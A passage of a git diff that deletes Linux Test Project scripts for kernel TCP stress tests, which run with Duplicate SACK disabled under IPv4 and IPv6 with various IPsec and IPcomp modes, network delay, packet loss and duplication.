delayed - -tcp4-uni-dsackoff13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-uni-dsackoff14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-uni-dsackoff01 - IPv6 - -tcp6-uni-dsackoff02 - IPv6 - IPsec [ AH / transport ] - -tcp6-uni-dsackoff03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-uni-dsackoff04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-uni-dsackoff05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-uni-dsackoff06 - IPv6 - IPcomp [ transport ] - -tcp6-uni-dsackoff07 - IPv6 - IPcomp [ tunnel ] - -tcp6-uni-dsackoff08 - IPv6 - Network is delayed - -tcp6-uni-dsackoff09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-uni-dsackoff10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-uni-dsackoff11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-uni-dsackoff12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-uni-dsackoff13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-uni-dsackoff14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/Makefile b/ltp/testcases/network/stress/tcp/uni-dsackoff/Makefile deleted file mode 100644 index f8fe935b..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/tcp/uni-dsackoff testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff01 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff01 deleted file mode 100644 index 74466e65..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff01 +++ /dev/null @@ -1,81 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff01 -# -# Description: -# Verify that the kernel is not crashed with a TCP connection on an -# unreliable to with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# - Disable window scaling -# - Enable Nagle algorithm -# - Disable TCP Duplicate SACK support -# - Enable SACK Support -# - Some packets are lost -# - Disable TSO if it is avalable -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-uni-dsackoff01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel, when the Duplicate SACK support is off, is not crashed by a TCP connection on an unreliable network(Namely, some of the packet is lost, some of them is duplicated)." - -# Disable DSACK support -DO_DSACK=false - -# Make some packets are lost -DO_PACKET_LOSS=true - -# Make some packets are duplicated -DO_PACKET_DUP=true - -# Load tcp4-uni-basic01 -NON_BASIC=true - -. tcp4-uni-basic01 - -exit 0 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff02 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff02 deleted file mode 100644 index 46628ca8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff02 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff02 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff03 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff03 deleted file mode 100644 index 2c99b485..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff03 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff04 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff04 deleted file mode 100644 index 1671a095..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff04 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff04 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff05 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff05 deleted file mode 100644 index 03cab29d..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff05 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff06 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff06 deleted file mode 100644 index 1b53cf8f..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff06 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff07 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff07 deleted file mode 100644 index 5d4a09c1..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff07 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff07 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff08 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff08 deleted file mode 100644 index 6c9dd9cd..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff08 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff08 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff09 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff09 deleted file mode 100644 index a68fcb12..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff09 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff09 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff10 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff10 deleted file mode 100644 index 2ccedb30..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff10 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff10 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff11 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff11 deleted file mode 100644 index f905fac3..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff11 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff11 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff12 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff12 deleted file mode 100644 index 9ebe020f..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff12 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff12 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff13 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff13 deleted file mode 100644 index 4bd18e04..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff13 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff13 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff14 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff14 deleted file mode 100644 index 5789bf22..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff14 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-dsackoff14 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp4-uni-dsackoff14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff01 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff01 deleted file mode 100644 index c153d9a8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff01 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, 